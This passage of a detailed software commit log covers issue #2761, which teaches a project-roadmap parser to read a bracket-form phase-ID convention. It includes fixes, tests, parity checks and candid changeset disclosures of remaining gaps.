`[["01","no_directory",0,0],["02","no_directory",0,0]]` against
`[["01","complete",1,1],["02","planned",1,0]]`.

The oracle is the twin, computed in the same test run, plus exact literals —
`grep disk_status tests/adr-612-*` was zero hits before this, so neither the fix
nor a future regression had any gate at all.

Disclosed: a ROADMAP written in bracket form before config.json is switched
reads as empty rather than mis-counted. Silent invisibility during the migration
window is the deliberate trade against claiming phases on projects that never
opted in.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* feat(#2761): validate.cts selects its grammar; gated directory recognition

The W006/W007 feeders take the resolved convention as a threaded parameter.
These sites carry the letter-tolerant `[\w][\w.-]*` capture, which makes them
where an ungated widening does the most damage: `### [RFC.2119] 5:` enters
roadmapPhases as a phantom and becomes a W007 "in ROADMAP.md but no directory on
disk" on a project that never opted in.

buildRoadmapPhaseVariants also surfaces the tokens borne ONLY by sentinel-bracket
headings. Surfaced rather than filtered in place because roadmapPhases feeds both
a membership check and a missing-directory warning, and only the latter should
ignore an icebox item.

That set is OCCURRENCE-AWARE, and the subtlety is load-bearing: roadmapPhases is
a TOKEN set, so `[GSD.999] 01` and `[GSD.02] 01` collapse to one entry. Keying
suppression on the token alone let an icebox heading silence a REAL phase that
happens to share its number — a false negative strictly worse than the warning it
removed. A token is suppressed only when no non-sentinel heading bears it.

Directory recognition is added as gated FUNCTIONS beside the exported RegExp
constants, which stay byte-identical: the `{CODE}.{MM}-` prefix is
string-indistinguishable from the letter-prefixed-decimal family this repo
documents as ambiguous, and folding a branch in changes those constants' answers
on exactly that family. A RegExp constant has nowhere to attach a gate.

The recognizer mirrors the emit grammar and delegates the token to the canonical
owner, so recognizer and resolver agree on rejected input as well as accepted.
Both functions throw on a non-string, matching the call pattern they replace.

buildRoadmapPhaseVariants' CHECKLIST scan is capturing, like its heading twin
and like the sibling checklist scan in roadmap.cts, and for the reason that one
states: the bracket id has to ride along or the sentinel filter is blind to
`- [ ] **[GSD.999] 01: Icebox**`. Left un-capturing, the scan called every
checklist token REAL, and the occurrence-aware un-suppression loop then deleted
the icebox token the HEADING scan had correctly marked sentinel — so `validate
consistency` warned that a bracket ICEBOX phase had no directory, in the HOUSE
ROADMAP shape where an icebox appears as both a bold bullet and a detail
heading. `validate health` stayed silent on that same repo, so the two verbs
disagreed — which is the disagreement `sentinelPhases` exists to close.

Both directions are pinned, because the failure mode of a careless fix here is
the opposite one: a real phase sharing a sentinel's token must still warn. It
does, in all four shapes that attack it (sentinel heading + real bullet,
lowercase sentinel, sentinel after the real heading, colon-less bullet).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2761): count bracket headings, and retire them, in both derivations

Both `total_phases` derivations select their grammar from the resolved
convention, in one commit — cmdStateSync already carries the comment that it
mirrors buildStateFrontmatter "so both report consistent percents (#3242 Bug B)",
so teaching one and not the other ships that divergence.

The #1514 retirement filter widens WITH the counter it protects. The canonical
gesture strikes the checklist BULLET and leaves the detail heading intact, so a
bracket-form retirement went undetected and the phase stayed in the denominator
forever. That is half a fix alone: the retired key is compared against
phaseKeyFromDir, which called extractPhaseToken with no convention. Both halves
land here.

Under bracket the sentinel token rule composes as the full engine set {0, 999},
so this counter agrees with `roadmap analyze`, which has always excluded both —
otherwise the two derivations report different numbers for one ROADMAP and the
changeset's "excluded from every count" is false as written. The LEGACY path
keeps its pre-existing 999-only rule: widening it there would move legacy totals,
so the two stay split off the bracket path exactly as they are today.

The sync-side assertion reads the PERCENT sync writes into the STATE.md body, not
the frontmatter total_phases. Sync's own counter never reaches that field — the
read derivation writes it — so asserting the frontmatter after a sync measures the
read path twice and lets a mutation to the write-path guard survive.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* feat(#2761): verify.cts bracket-coherence W021 + selected milestone-complete read

The shipped milestone-prefixed W021 gate keeps its ROOT-only config read,
verbatim base semantics. Federating it silently moved a legacy convention's
answer in BOTH directions on workstream repos — a W021 that fires at base
vanishing, and one that is silent at base firing. resolvePhaseIdConvention
governs the new bracket-selection reads only.

B6, the milestone-complete check, keeps its ungated POSTURE (bug-557 pins it
with an empty config) but selects its grammar from the convention. Inferring
'bracket' from the shape of a matched bracket ran a repo-failing check against a
legacy ROADMAP that merely contained `### [RFC.2119] 5:`. Directory resolution
widens with the heading read, so a bracket repo whose phases are on disk stays
silent, and a bracket sentinel is not reported as unstarted.

checkBracketCoherence is advisory and gated. Anchored to tokenizeHeadings so
fenced examples cannot warn and heading level is structural. Its scope rules each
close a way it silently did nothing or fired wrongly: only a genuine MILESTONE
heading opens or closes a section (a `### Notes` used to reset scope and disable
both sub-checks); a legacy `## v3.0` DOES close it; an M-NN or letter-suffixed
phase heading raises missing-bracket and CONTINUES; a bare `#### 2026:` is not a
phase; the full h2-h6 range is processed. Its section recognizer shares the one
milestone width, so an unpadded `### [GSD.3] 05:` can no longer be a phase to the
id grammar and a section to the section grammar at once, silently re-scoping
every warning after it.

validate consistency suppresses bracket sentinels in its missing-directory
warning — the two verbs disagreed, health suppressing via notStartedPhases while
consistency did not. The legacy reading is untouched, including its pre-existing
wart that `### Phase 999:` still warns there.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2761): scope the milestone by its bracket; select the disk-side filter

Two roadmap-parser reads, both of which made a bracket project's totals track
the disk instead of the ROADMAP.

The ADR pins the bracket milestone heading as `## [GSD.02] Foundation` — a name,
no version — but scoping matched STATE's `milestone: v2.0` STRING against a
heading, so the canonical form matched nothing and total_phases fell back to the
directory count. The rule was re-derived in THREE places: extractCurrentMilestone
plus two `milestoneBounded` guards; fixing one left the others falling back
regardless, so they are now one gated helper. It matches the CANONICAL padded
spelling only — accepting `0*N` bounded a milestone whose phases were invisible,
which un-suppressed a progress percent computed off an unscoped disk count.

getMilestonePhaseFilter's heading scan becomes the 14th selected read. On a
bracket ROADMAP it collected nothing, so the filter degraded to pass-all and
buildStateFrontmatter counted every other milestone's directories — making the
bracket convention strictly worse than the M-NN one it supersedes on the property
that matters most: totals must track the ROADMAP, not the disk.

The DIRECTORY side of that same filter is selected with it. Teaching only the
heading scan was half a fix and a worse one: `milestonePhaseNums` became
non-empty, so the pass-all degrade stopped firing, but no bracket directory could
satisfy the three legacy dir checks (numericRe fails on `GSD.02-05-five`, the
custom-id match captures the project code `GSD`, and stripProjectCodePrefix does
not strip a dotted prefix). Every bracket directory was rejected, and
completed_phases / total_plans / completed_plans / percent all collapsed to 0
while `state sync` went on writing a percent off the unfiltered disk — `state
json` reporting 0% on the same repo, in the same second, that STATE.md's body
called 67%. That is the #3242 Bug B divergence this PR exists to avoid, and
total_phases could not show it: `Math.max(phaseDirs.length, roadmapPhaseCount)`
floors it at the ROADMAP count no matter how many directories are rejected.

The dir side matches on the milestone-QUALIFIED id, delegated to the owner's
gated `phaseTokenMatches(dir, id, 'bracket')`, not on the bare token: READING-B
puts the milestone in the bracket, so `GSD.01-01-old-one` and `GSD.02-01-one`
share the token `01` and only the qualified key separates them. The qualified ids
are kept in their own set — a hyphen in `milestonePhaseNums` would flip
`roadmapUsesHyphenedIds` and silently move the LEGACY dir path on a bracket repo
— and the branch is ADDITIVE: on a miss it falls through to the three legacy
checks, so a bracket project carrying legacy-shaped directories reads unchanged.

Both are resolved lazily and gated, so the legacy path pays neither a config read
nor a second scan and cannot change answer. The scoping call is also GUARDED:
resolvePhaseIdConvention reaches planningDir, which throws a plain Error for a
GSD_PROJECT/GSD_WORKSTREAM segment carrying `/`, `\` or `..`. At base the only
planningDir call in extractCurrentMilestone sits inside the STATE-read try, so
the function returned normally on such an environment; an unguarded one here let
that escape and broke the never-throws invariant that getRoadmapPhaseInternal and
getMilestoneInfo three hundred lines below carry #2245 / ADR-227 notes about.
Unreachable through the CLI — GSD_WORKSTREAM is rejected up front by the
workstream-name policy and GSD_PROJECT throws identically at base — but reachable
by any in-process embedder, which is precisely who that invariant is for. The
filter's own resolve call was already inside its try and is unaffected.

The milestone-qualified key is formed only for a token that is itself a bracket
phase token. `${bracketId}-${token}` is a string SPLICE, so a mid-migration
heading carrying an M-NN label — `### [GSD.02] Phase 02-01:` — spliced to
`GSD.02-02-01`, which the qualified-key grammar reads as milestone 02 / phase 02:
the `-01` truncated, both such headings collapsing to one key, and the heading
claiming `GSD.02-02-two`, the directory it does NOT name, while rejecting
`GSD.02-01-one`, the one it does. The guard drops those headings back to the
unqualified legacy path, restoring the base ACCEPTANCE VECTOR exactly — pinned
against the milestone-prefixed reading of the same ROADMAP, which is
base-identical on this shape.

Scoped precisely, because the fixture moves one number that the guard does not
touch: `total_phases` on it reads 1 at base and 2 here. That is the bracket
heading COUNT this PR exists to add, not the splice — measured identical with and
without the guard, and identical to what the canonical `### [GSD.02] 01:`
spelling does on the same fixture (both read 2 with zero directories on disk,
where base reads 0). The claim is base-equivalent ACCEPTANCE, not a
base-equivalent reading.

One consequence is stated rather than fixed: a heading whose token carries a
hyphen still puts that hyphen into milestonePhaseNums and so still flips
`roadmapUsesHyphenedIds`. Base does the same for that spelling, so preserving it
is what keeps the shape base-equivalent; excluding the token would have moved
answers versus base on malformed input. The comment at the qualified-set
declaration is corrected to claim only what is true — it keeps QUALIFIED IDS out
of that flag's input, not hyphens in general.

The oracles ship with it, and they are the five numbers, not the one: the parity
gate now asserts total_phases, completed_phases, total_plans, completed_plans AND
percent, on both derivations, on two fixture shapes (one milestone; two
milestones with stale prior-milestone directories on disk). The oracle is the
flat-legacy twin, built in the same test run and compared number for number,
plus exact literals so a shared wrong answer cannot pass.

The oracle SUBSTITUTION is itself pinned. The M-NN spelling of these shapes could
not serve, because buildStateFrontmatter's #2445 de-dup key captures only a
directory's leading integer and collapses `02-01-one` / `02-02-two` /
`02-03-three` to one — measured [3,0,1,0,0] against the flat-legacy twin's
[3,2,3,2,67], identically at base and before this fix, and structurally
unreachable from the bracket key space. That reasoning is only sound while it
stays true, so a characterization test holds the M-NN reading down on the two
numbers that do not depend on which directory wins the mtime race. Widen the
de-dup key and it fails, instead of quietly invalidating the changeset's
disclosure.

Also adds the call-site pin. The structural table pins transcription against the
selector; it cannot see a call site whose BASELINE ARGUMENT is wrong. Flipping
verify.cts's milestone-complete site to the wider baseline grants a
fires-on-every-repo check tolerance it has never had, and every behavioural test
still passed. The pin reads the shipped sources and asserts the mode at each of
the 14 sites, count-exact.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2761): pin the bracket read surfaces in the parity gate

This gate exists because #2043 fixed one bug across five hand-edited copies of a
rule and #2232 was the residual that survived, because a later reader could not
tell the copies were one rule. PR-2 adds two consumers, so they belong here.

Surface 7 — the heading read and the directory read must agree about WHICH phase
a `MM-<seg>` pair names, across the shared width corpus, and the bracket and
legacy spellings of one heading must yield the same token.

Surface 8 — the two bracket directory readers, in BOTH directions. Agreement on
ACCEPTED input was already pinned; agreement on REJECTED input is where they
actually diverged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2761): changeset

Disclosures for the PR body (deliberate, not defects):

- phase_id_convention is not a CONFIG_DEFAULTS key, so loadConfig drops it and
  cannot serve as the convention resolver however the file is federated. This PR
  ships its own workstream->root resolver; adding the key and its value enum is
  later-slice work.
- Convention matching is strictly === 'bracket'. A misspelled value reads as
  not-configured and the project keeps legacy behaviour silently.
- An UNPADDED bracket milestone (`[GSD.2]`) is malformed: it scopes nothing,
  bounds nothing, sections nothing, and is not a phase id. W005 on its
  directories is the surfacing signal.
- WIDTH UNIFICATION MOVED FOUR MERGED PR-1 EXPORT ANSWERS on non-canonical
  inputs, none of which toDir can emit and none of which had a bracket caller at
  base:
    isSentinelPhaseId('GSD.0-01',    'bracket')  true  -> false
    isSentinelPhaseId('GSD.0999-01', 'bracket')  true  -> false
    getMilestoneFromPhaseId('GSD.2-01',   'bracket')  'v2.0' -> null
    getMilestoneFromPhaseId('GSD.002-01', 'bracket')  'v2.0' -> null
  The canonical pad2 sentinel spelling `[GSD.00]` still tests true.
- FLAG TO MAINTAINER: docs/adr/612:132 reads "Sentinel behavior (0.x / 999.x ->
  milestone null) is preserved". After the unification that holds for the
  canonical `00` spelling only, not for a bare `[GSD.0]`. ADR wording is yours;
  flagging the tension rather than editing it.
- The bracket sentinel rule COMPOSES with the legacy one — a bracketed heading is
  a sentinel when its bracket milestone OR its token is reserved. Under bracket
  the state-side token rule is the full {0, 999} set so both derivations agree;
  the LEGACY path keeps its pre-existing 999-only rule, unchanged.
- validate consistency's legacy reading is untouched, including the pre-existing
  wart that `### Phase 999:` warns there while validate health suppresses it.
- find-phase still cannot resolve a bracket phase directory. phase-locator.cts is
  outside this PR's module set. Sibling PR #2559's matchPhaseDirs calls
  phaseTokenMatches without a convention, so whichever slice lands second must
  thread it through.
- Four of the five bracket readers scan raw ROADMAP content, so a bracket heading
  inside a fenced code block is read as a phase. Pre-existing for the legacy
  spelling; parity, not a new class.
- roadmapPhaseLookupSources gained no bracket source: nothing emits a
  milestone-qualified query into it yet.
- roadmap validate remains a separate, unfederated convention reader.
  Pre-existing and base-identical, but two verbs can disagree about the active
  convention on one project.
- _diskScanCache keys on cwd while the values it caches are now
  convention-dependent. Not reproducible through the CLI; pre-existing for the
  workstream dimension, widened here. Stated as inconclusive.
- A ROADMAP written in bracket form before config.json is switched reads as empty
  rather than mis-counted — the deliberate migration-window trade.
- THE READ AND WRITE PERCENTS STILL DIVERGE ON A MULTI-MILESTONE REPO, and that
  divergence is MIRRORED under bracket rather than closed. buildStateFrontmatter
  applies the milestone filter; cmdStateSync does its own fs.readdirSync and never
  calls it, so on a repo carrying prior-milestone directories the read path
  reports the SCOPED percent and the sync body reports the WHOLE-DISK one.
  Measured on the true base build (d04592de), flat-legacy spelling, 3 in-scope
  phases with 1 complete plus 2 stale prior-milestone dirs: `state json`
  [3,1,3,1,33], sync body 60%. The bracket twin of that repo now reads the same
  two numbers — 33 and 60. Scoping the sync counter would move every legacy
  repo's percent, which a bracket read-path PR must not do. The gate pins both
  sides, so the mirror cannot silently become a one-sided fix.
- THE PARITY ORACLE IS THE FLAT-LEGACY TWIN, NOT THE M-NN ONE, and that is a
  measurement finding rather than a preference. buildStateFrontmatter's #2445
  de-dup key captures only a directory's LEADING integer, so the M-NN dirs
  `02-01-one` / `02-02-two` / `02-03-three` all key to `2` and two of the three
  are dropped before they are ever counted: base reads [3,0,1,0,0] where the
  flat-legacy twin of the same repo reads [3,2,3,2,67]. Present identically at
  base and at HEAD, untouched here, and structurally unreachable from the bracket
  key space — `GSD.02-01-one` does not match that pattern at all, so every bracket
  directory keys to its own name. The source line already carries a
  `phase-id-owner:` sanction recording the divergence. Mirroring it under bracket
  would mean manufacturing a collision that cannot occur, so the gate compares
  against the flat-legacy spelling, which is uncontaminated. This paragraph is
  itself pinned: a characterization test holds the M-NN reading on the two
  numbers that do not depend on which directory wins the mtime race, so widening
  the de-dup key in a later slice fails the suite rather than silently making
  this disclosure false.
- THE `phaseTokenMatches` CALL-SITE CENSUS, stated so the remaining gaps are
  auditable rather than implied. 13 call sites outside the owner (phase-id.cts).
  THREE are three-argument: verify.cts:2229 (the W021 milestone-complete read,
  already was), roadmap.cts:436 (`roadmap analyze`'s directory lookup, threaded
  by this PR) and roadmap-parser.cts:792 (the disk-side milestone filter, added
  by this PR). The other TEN are two-argument and stay that way — phase.cts ×5
  (220, 277, 444, 585, 1547), phase-locator.cts:62, smart-entry.cts:243,
  init.cts:1414, milestone.cts:551 and verify.cts:2467. All ten are untouched by
  this PR and base-identical.
  One of them sits in a file this PR DOES edit, so it is named rather than left
  to a reader's grep: verify.cts:2467, `verify schema-drift <phase>`. Measured on
  a bracket repo across base / pre-fix branch / this HEAD, all three agree on all
  three argument forms — `verify schema-drift GSD.02-01` and `… 01` both report
  "Phase directory not found" on every build, and `… GSD.02-01-one` resolves on
  every build through the exact-directory-name fallback. So the user-visible
  shape of what stays broken is: a bracket phase is addressable there by full
  directory name only, exactly as at base. Threading the convention into a
  function this PR never touched, in the last round before ship, is the wrong
  trade; it is where the same one-argument fix goes next, alongside
  milestone.cts:551 and init.cts:1414.
- A BRACKET HEADING WHOSE TOKEN CARRIES A HYPHEN (`### [GSD.02] Phase 02-01:`,
  a mid-migration spelling) forms NO milestone-qualified key, and therefore
  scopes through the unqualified legacy path — base-equivalent ACCEPTANCE, which
  is the claim, and not a base-equivalent reading: `total_phases` on that shape
  moves 1 -> 2 for the same reason it moves on the canonical `### [GSD.02] 01:`
  spelling, because counting bracket headings is what this PR does. Such a token
  still flips `roadmapUsesHyphenedIds`, as it also does at base. The comment at
  the qualified-set declaration now claims only that narrower, true thing.

The `pr:` field carries the sub-issue number as a placeholder — it must be
updated to the real PR number when the PR is opened.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2761): point the changeset at PR #2867

* test(#2761): fast-check properties for the convention-selection layer

CONTRIBUTING.md mandates a generative property test for parser/bijective-contract
changes; PR-2 shipped six example-based files and none. This adds the missing
layer, scoped to what PR-2 actually contracts — WHICH pattern each reader
compiles, decided by the resolved `phase_id_convention` — rather than restating
PR-1's grammar round-trip properties, which already live in
tests/adr-612-bracket-grammar.test.cjs.

Four properties: P1 an opted-in repo reads the ADR-canonical label-less bracket
heading/dir and a non-opted-in repo is byte-blind to the identical input; P2
every non-bracket convention agrees with the hand-transcribed BASE source over
generated content, including bracket-DOTTED legacy prose (`[RFC.2119] 5:`) that
must never be claimed as a phase; P3 nine per-field mutations are rejected and
the one case variation folds instead; P4 both sides of a phase comparison derive
the same key under the same convention.

Generators template every input from raw primitives — nothing is seeded through
renderPhaseId/toDir, the p2() tautology that made #2258 round 1's property test
structurally unable to find B1. Domain reaches past 99 into the 3+-digit branch
(round 2's numArb-capped-at-99 miss), forces sub-phases in at weight, and pins
both sentinel milestones.

Falsified against the COMPILED lib, not the source: five deliberate mutants
(gate never fires; gate always fires; milestone width widened to \d+; the #612
convention forwarding dropped from phaseKeyFromDir; extractPhaseToken's bracket
branch ungated) each fail the specific property that should catch them —
16/2, 16/2, 15/3, 17/1, 17/1 pass/fail — and the lib restores byte-identical.

An earlier draft of P2 held vacuously: its base regex omitted the markdown
furniture the selected one carried, so every realistic `### Phase NN:` line
matched neither side. The gate-always-fires mutant did not kill it. Both are now
compiled through one function, and that mutant kills P2.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2761): adversarial malformed bracket tokens across the tolerant readers

The existing boundary coverage stopped at shapes the emit grammar rejects
(unpadded `[GSD.3]`, wrong-case, `12A`). It never exercised a STRUCTURALLY
broken token — a non-numeric milestone, a bracket that never closes, a bracket
nested in another — which is the input a tolerant reader is most likely to
half-read, and the one the PR's own regex commentary is explicit about.

read-tolerance (roadmap heading scan + validate's dir and variant builders):
ten malformed headings, each asserted to be read as a phase by NO convention and
to give the opted-in repo the same answer as the legacy one; the corpus driven
through `roadmap analyze` end to end; malformed DIRECTORY names asserted
unrecognized and non-throwing on all four conventions; and the two variant
builders asserted to agree, since a widening that reaches only one splits
`validate consistency` from `validate health` (the #3242 Bug B shape).

coherence (verify.cts W021): the same six broken shapes asserted to raise no
W021 of their own AND not to re-scope the W021 that follows them — the G2
failure mode reached from a different shape, where a heading that is not a phase
but IS read as a section silently moves later warnings onto the wrong milestone.

Both files gain a pathological-input time bound. Nested quantifiers over a long
unclosed bracket are the classic ReDoS shape and two commits on next (#2828,
#2944) were CodeQL-flagged for exactly that, so the bound is asserted rather
than argued from reading the pattern. The probes themselves parse no regex.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2761): document "bracket" as a phase_id_convention value

The row listed only `"milestone-prefixed"` and `null`, so after two shipped
slices (#2258 grammar, this PR's read path) the convention had no documented
enum value. CONFIGURATION.md is also a top-10 historical co-changer of both
src/verify.cts and src/state.cts and was absent from this PR.

The row states the boundary rather than the ambition: `"bracket"` changes the
READ path only, there is no migrator and no emit yet, and a project on any other
value compiles the patterns it compiled before. That keeps the docs honest for
the two releases before PR-3 and PR-4 land, instead of describing a convention a
user cannot yet migrate to.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2761): retype the changeset Added, drop the docs-exempt marker

`Fixed` was wrong by CONTRIBUTING.md's own definition — a fix restores
documented behavior, and bracket read tolerance is the second slice of a
capability that did not exist before #2258. The type also carried a
`docs-exempt` marker, and `Fixed`/`Security` are exempt from the docs-required
lint, so the typing had the effect of routing around a gate this change should
pass. It now passes it: `lint-docs-required` returns ok_docs_updated on the
CONFIGURATION.md row added in the previous commit.

Body gains one sentence pointing at that row and restating that `"bracket"` is a
read-path opt-in until the migrator and write path land.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2761): pin the version-less bracket milestone scoping gap; narrow the claim

The changeset asserted that milestone scoping "recognises the ADR-canonical
`## [GSD.02] Foundation` heading and applies to the phase DIRECTORIES too." A
CLI probe on that exact heading form falsifies the second half: with no `vN.N`
in the milestone heading the directory side does not scope, and directories from
BOTH the prior and the later milestone are admitted. Measured 4 dirs counted
where the milestone declares 2.

Every bracket fixture in the suite writes `## [GSD.02] v2.0: …`, so nothing
covered the form the ADR actually specifies — and the state.cts doc comment
calls that version-less form canonical.

Mechanism, in extractCurrentMilestone: the bracket scope branch selects the
right currentSection, but `preambleCutoff` keys off a pattern requiring a
version or status emoji, so a version-less roadmap falls back to the current
milestone's own offset and every PRIOR milestone lands in the preamble — whose
phase-stripping regex only strips `Phase N:`-labelled headings, so bracket phase
headings survive it. Independently, `computeSectionEnd` accepts a boundary only
on a version/emoji heading, so the section runs to EOF and every LATER milestone
is swept in. Two sites, bidirectional.

Not fixed here: it changes milestone scoping, which is shared with the legacy
path. Five characterization tests pin today's reading plus a versioned CONTROL
proving the version string is the only difference, and the changeset sentence is
narrowed to what the code does. The DEFECT assertions are written to be
INVERTED by the fix, not deleted — that inversion is its regression proof.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2761): re-anchor the branch's own cross-file line citations after the rebase

Three of this branch's code comments cite sibling call sites by line number, and
the rebase onto 178ec000 moved two of the three targets:

  roadmap-parser.cts  validate.cts:210 -> :218   (const g = capturing ? 1 : 0)
                      state.cts:1715   -> :1752  (const bg = … 'bracket' ? 1 : 0)
  roadmap.cts         verify.cts:2229  -> :2355  (phaseTokenMatches 3-arg form)

`state.cts:1715` had drifted 37 lines and now lands on the retirement skip, not
the capture-offset idiom the sentence is about — the citation read as evidence
for a claim the cited line does not support.

planning-workspace.cts's `config-loader.cts:618/:649` was checked and is still
correct; left alone.

Comment-only. Build, drift guard and the bracket suites re-run unchanged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2761): scope the version-less bracket milestone heading too (B1)

computeSectionEnd and the preambleCutoff scan in extractCurrentMilestone
(roadmap-parser.cts) only recognized a milestone boundary heading that
carried a vN.N token or a status emoji. The ADR-canonical bracket
heading (## [GSD.02] Foundation) carries neither, so on that shape
computeSectionEnd fell through to content.length (sweeping every LATER
milestone into scope) and preambleCutoff fell back to the current
milestone's own offset (leaking every PRIOR milestone's bracket phases
into the preamble, whose Phase-N: strip regex never matches them).

Under the bracket scope branch, both sites now also accept a
`#{1,2}\s+\[CODE.MM\]` boundary, built from phase-id.cts's BRACKET_ID_SRC
(single owner of the bracket-id grammar) rather than a re-typed literal.
`#{1,2}` is the deliberate discriminator: a bracket PHASE heading is
level 3 and shares the same `[CODE.MM]` prefix, so a `#{1,3}` boundary
would swallow it too. Reachable only when bracketScopeConvention ===
'bracket' was already resolved (i.e. the bracket scope branch actually
fired), so version-bearing/emoji headings and non-bracket conventions
take the exact pre-existing code path byte-identically — confirmed by
the full adr-612 suite staying green.

Inverts the four DEFECT assertions in the
"#612 PR-2 CHARACTERIZATION: a version-less bracket milestone does not
scope" describe block (tests/adr-612-bracket-phase-counting.test.cjs)
into their regression-proof form, per the block's own doc comment, and
reframes the describe title/comments accordingly. Corrects the
.changeset/2761-bracket-read-tolerance.md fragment, which described the
directory-side version-less gap as an open, un-closed bound.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): thread sentinelPhases into validate health's W006 loop (B2)

cmdValidateHealth's W006 loop (src/verify.cts) destructured only
roadmapPhases from buildRoadmapPhaseVariants, not sentinelPhases —
unlike cmdValidateConsistency, which already skips sentinelPhases with
the identical guard a few hundred lines up. A heading-only bracket
icebox/pre-milestone entry ([GSD.999] / [GSD.00]) therefore gained a
false W006 "no directory on disk" from validate health while validate
consistency correctly stayed silent on the very same ROADMAP — the two
validators contradicting each other.

Threads sentinelPhases through and skips it before the existsOnDisk
check, mirroring the consistency guard exactly. Gated the same way
sentinelPhases already is (empty unless phase_id_convention is
'bracket'), so a legacy repo's W006 reading — including its own
pre-existing wart where a legacy `### Phase 999:` still warns on both
verbs — is untouched; confirmed by the existing "INHERITED WART,
unchanged" test staying green.

Adds the paired-agreement regression test (#612 PR-2 B2 describe block
in tests/adr-612-bracket-read-tolerance.test.cjs): a sentinel-only
bracket roadmap must produce no missing-directory warning from EITHER
validator, plus a CONTROL proving a real phase with no directory still
warns on both. Confirmed red (health false-W006) against the pre-fix
code before applying the fix.

Corrects the .changeset/2761-bracket-read-tolerance.md fragment, which
described the asymmetry as already closed and in the wrong direction
(it credited validate health with already staying silent, when health
was the one falsely warning).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* test(#2761): pin mixed-shape preamble cutoff and boundary heading levels

Closes two self-flagged coverage gaps in the B1 fix (commit 08d5b0c4)
ahead of adversarial review. No src change — all three new tests are
green against the code as committed.

1. earliest-of-either preambleCutoff comparison: only exercised where
   the version/emoji match and the bracket match happen to land on the
   same heading. Adds the mid-migration mixed shape (version-bearing
   PRIOR + version-less CURRENT) and asserts scoping outcomes (accepts
   booleans + total_phases), not internals.

2. `h.level <= 2` conjunct in computeSectionEnd: provably redundant
   whenever the selected milestone heading is level 2 (every existing
   fixture), since `h.level > level` alone already implies it there —
   a mutant deleting the conjunct would have survived every prior test
   in this file. Adds a level-3 CURRENT-heading fixture (with a real
   PRIOR milestone so the preamble side-channel can't independently
   rescue the truncated phases) that makes the conjunct's deletion
   test-visible, confirmed by hand-mutating a throwaway copy of the
   compiled output (never touching tracked src or the real build) and
   observing the assertion flip. Also pins a level-1 companion case
   (#{1,2} tolerance, not just level 2).

NOT included here: the other mixed-shape direction (version-less PRIOR
+ version-bearing CURRENT) turned out to be a genuine, currently-unfixed
gap — reported separately rather than silently patched or weakened, per
instruction not to touch src while a probe run is in flight.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): engage bracket boundaries when the current milestone heading is version-bearing (B3, self-caught)

Found during round-2 self-verification of B1 (commit 08d5b0c4), while
closing the mixed-heading-shape coverage gaps flagged in my own review
notes. The B1 fix resolved `bracketScopeConvention` only inside the
`if (headingMatches.length === 0)` gate that also drives SELECTION's
own bracket fallback (which heading counts as "current"). That gate is
correct for selection, but `bracketScopeConvention` also feeds
computeSectionEnd's and preambleCutoff's boundary detection further
down — which accidentally inherited selection's gate instead of having
its own.

Trigger shape: the CURRENT milestone heading is itself version-bearing
(`## [GSD.02] v2.0: Current Milestone`), so the primary version-string
match succeeds immediately — headingMatches.length !== 0 from the very
first check — and the entire bracket-resolution branch was skipped. A
sibling milestone (PRIOR or LATER) that is version-less then got
neither the version/emoji boundary rule (it has none) nor the bracket
boundary rule (never resolved), reproducing the original #612 defect
(total_phases falling back to the whole-disk count) through a
structural shape B1's own fixtures never exercised — every one of them
is uniformly version-bearing or uniformly version-less across all
three milestones, never mixed with CURRENT specifically being the
version-bearing one.

Fix: resolve `bracketScopeConvention` unconditionally, decoupled from
`headingMatches.length`. SELECTION is deliberately left untouched — the
`if (headingMatches.length === 0 && bracketScopeConvention === 'bracket')`
fallback that picks which heading is "current" keeps its original gate
byte-for-byte (confirmed by diff: that line is unmodified). Only the
convention *resolution* moved out from behind it, so boundary detection
can consult it regardless of which branch selected the heading. The
extra `resolvePhaseIdConvention` call this now costs on every
invocation (previously paid only when the version match found nothing)
is the accepted cost: a non-bracket repo still resolves to something
other than 'bracket' (or null on a poisoned env, caught exactly as
before), so `bracketMilestoneHeadingRe` stays null and every downstream
branch is byte-identical to today — confirmed by the full adr-612 +
roadmap-parser + state + verify + health-validation suite staying green
(1260/1260) and the all-version-bearing/legacy fixtures showing no
behavior change.

TDD: tests/adr-612-bracket-phase-counting.test.cjs describe block
"#612 PR-2 B3: bracket boundaries engage even when CURRENT is
version-bearing but a sibling is not" — 4 tests, confirmed red against
pre-fix code (leak-in booleans true/true, total_phases 4) before this
change, green after.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): reject same-milestone continuation headings as boundaries (B1)

Gate-2 adversarial review Blocker 1: the B1/B3 boundary fired on ANY
as the one currently selected — a version-less checklist/detail split
(`## [GSD.02] Foundation (Phase Details)`, or an ad-hoc continuation
heading) truncated the current milestone's own section instead of
being recognised as a continuation of it. The `(Phase Details)`
re-append only searches VERSION-STRING matches, so a version-less
continuation heading was cut out and never re-appended — a confidently
wrong, non-degraded phase count for a still-incomplete milestone
(repro8 case 1: 1/1/100 instead of 2/1/50; repro5: same, on a fully
version-less roadmap with no sibling milestones at all).

Introduces one shared helper, isBracketMilestoneBoundary(headingText,
level, selectedBracketId), used by both computeSectionEnd and the
preambleCutoff bracket scan, replacing the ungated `h.level <= 2 &&
bracketMilestoneHeadingRe.test(...)` inline check. `selectedBracketId`
(case-folded via phase-id.cts's foldBracketId, matching the branch's
own fold-before-identity convention) is derived from `selected[0]`,
which is the full matched heading line on BOTH selection paths
(version-string and bracket-fallback), so one extraction covers both.

Level cap stays at `level > 2` for now (temporary — ADR-612's content
discriminator replaces it in the next commit); same-milestone rejection
is the change this commit is scoped to.

